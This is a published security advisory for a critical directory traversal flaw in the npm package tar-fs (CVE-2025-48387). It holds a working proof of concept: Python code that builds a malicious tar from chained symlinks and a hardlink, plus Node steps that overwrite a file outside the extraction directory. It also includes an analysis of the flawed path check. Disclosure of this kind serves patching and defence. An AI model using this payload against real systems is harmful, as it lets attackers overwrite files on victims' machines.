Skip to content
GoogleGHSA-xrg4-qp5w-2c3w

tar-fs Link Directory Traversal Vulnerability

CriticalCVE-2025-48387 · Published Aug 14, 2025

### Summary NPM package [tar-fs](https://www.npmjs.com/package/tar-fs) allows a malicious tar file to write arbitrary files outside the destination directory. ### Severity Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls. ### Proof of Concept This proof-of-concept assumes it is being run under `/home/username`. The tar file created in this PoC will modify the `/home/username/flag/flag` file that exists outside of the destination path the tar file is extracted into. The tar file will also create `/home/username/flag/newfile`. This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0. ##### 1\. Prepare the environment ```shell $ pwd /home/username $ mkdir flag $ echo "hello world" > flag/flag ``` ##### 2\. Prepare the tar file Open a Python interpreter and run the following code (can be copy and pasted). ```py import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(ro...

GitHub advisory

Affected versions

PackageAffectedFixed in
npm
Product
< 3.0.93.0.9
Details and references

### Summary NPM package [tar-fs](https://www.npmjs.com/package/tar-fs) allows a malicious tar file to write arbitrary files outside the destination directory. ### Severity Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls. ### Proof of Concept This proof-of-concept assumes it is being run under `/home/username`. The tar file created in this PoC will modify the `/home/username/flag/flag` file that exists outside of the destination path the tar file is extracted into. The tar file will also create `/home/username/flag/newfile`. This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0. ##### 1\. Prepare the environment ```shell $ pwd /home/username $ mkdir flag $ echo "hello world" > flag/flag ``` ##### 2\. Prepare the tar file Open a Python interpreter and run the following code (can be copy and pasted). ```py import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" # The following code is for tar-fs@3.0.8 only. tar-fs@2.1.2 and tar-fs@1.16.4 # correctly validate this filename, which stops this file being created. newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) ``` ##### 3\. Extract the tarfile ```shell $ pwd /home/username $ ls flag # check the flag dir and file are unchanged flag $ cat flag/flag hello world $ mkdir otherdir # this is a dummy dir to keep everything clean $ cd otherdir $ npm install tar-fs # install tar-fs $ node Welcome to Node.js v18.19.1. Type ".help" for more information. > const tar = require('tar-fs'); undefined > const fs = require('fs'); undefined > fs.createReadStream('../poc.tar').pipe(tar.extract('.')); <ref *1> Extract { //... } > CTRL-D $ cd .. $ ls flag # the flag dir is different! flag newfile $ cat flag/flag overwrite $ cat flag/newfile new! ``` ### Further Analysis ##### Multiple Symlinks tar-fs has checks that attempt to prevent the creation of symlinks where the target is outside the destination directory. This amounts to the following check in `onsymlink()`: ```javascript const dst = path.resolve(path.dirname(name), header.linkname) if (!inCwd(dst)) return next(new Error(name + ' is not a valid symlink')) ``` [`Path.resolve()`](https://nodejs.org/api/path.html#pathresolvepaths) merely joins paths passed as arguments and returns an absolute path without any `".."` components, joining the path with the current directory if needed. No attempt is made to resolve any symlinks in the path, nor check that they exist. This means that a `linkname` like `"noop/noop/noop/../../../"` can be successfully created as it simply returns `dst` and passes the `inCwd(dst)` check. Likewise, `noop`, with a `linkname` of `"."`, also evaluates to `dst`. However, once these symlinks are both created they can be used together to escape the destination directory. `"noop/noop/noop"` evaluates to `"."`, which means `"noop/noop/noop/../../../"` becomes `"./../../../"` allowing traversal outside the destination directory. ##### Har

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google
Advisory
FFmpeg - Heap-buffer-overflow write in jpeg2000dec
HighSep 8, 2025
ChatGPT Agent - XSS on file://home/oai/redirect.html
MediumSep 8, 2025
SQLite: Integer truncation in findOrCreateAggInfoColumn
HighAug 25, 2025
OpenAI Operator - Click on arbitrary origin by TOCTOU attack
HighAug 18, 2025
SQLite - Integer Overflow in FTS5 Extension
MediumAug 15, 2025
Python Tar Filter Bypass Vulnerability
High7.5Jul 31, 2025

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.